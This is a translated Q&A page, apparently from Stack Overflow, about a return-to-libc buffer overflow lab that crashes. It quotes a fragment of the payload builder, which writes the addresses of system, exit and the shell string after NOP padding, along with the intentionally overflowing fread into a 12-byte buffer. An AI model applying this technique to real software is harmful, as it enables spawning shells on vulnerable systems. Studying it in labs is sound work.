返回libc会导致分段错误

时间:2012-02-09 14:46:27

标签: c stack-overflow

我正在尝试使用return to libc创建缓冲区溢出。

以下是攻击者代码: http://codepad.org/TtoLjAHc。它创建有效负载并将其存储在名为badfile的文件中。

这是易受攻击的代码: http://codepad.org/DZ7AQy4D。它从badfile读取并且应该生成一个shell。

ASLR和堆栈保护已关闭。

攻击者代码有效。但易受攻击的代码会导致段错误。

任何人都可以解释我哪里出错吗?

剥削者代码的相关部分:

memset(buffer, "\x90", 52);
memcpy(buffer,"BUF=",4);
memcpy(buffer+36, systemAddr,4);
memcpy(buffer+40,exitAddr,4);
memcpy(buffer+44, shAddr,4);
memcpy(buffer+48, nullPad, 4);

此变量缓冲区现在被写入名为badfile的文件,该文件由易受攻击的程序使用fread()读取。 脆弱程序的相关部分:

char buffer[12];
length = fread (buffer, sizeof (char), 52, badfile);

1 个答案:

答案 0 :(得分:-1)

您为buffer分配了12个八位字节的内存,但是您尝试写入52个八位字节。因此,你走出阵列会引发分段错误。

尝试:

*char buffer[12];
length = fread (buffer, sizeof (char), **12**, badfile);*

它应该可以正常工作。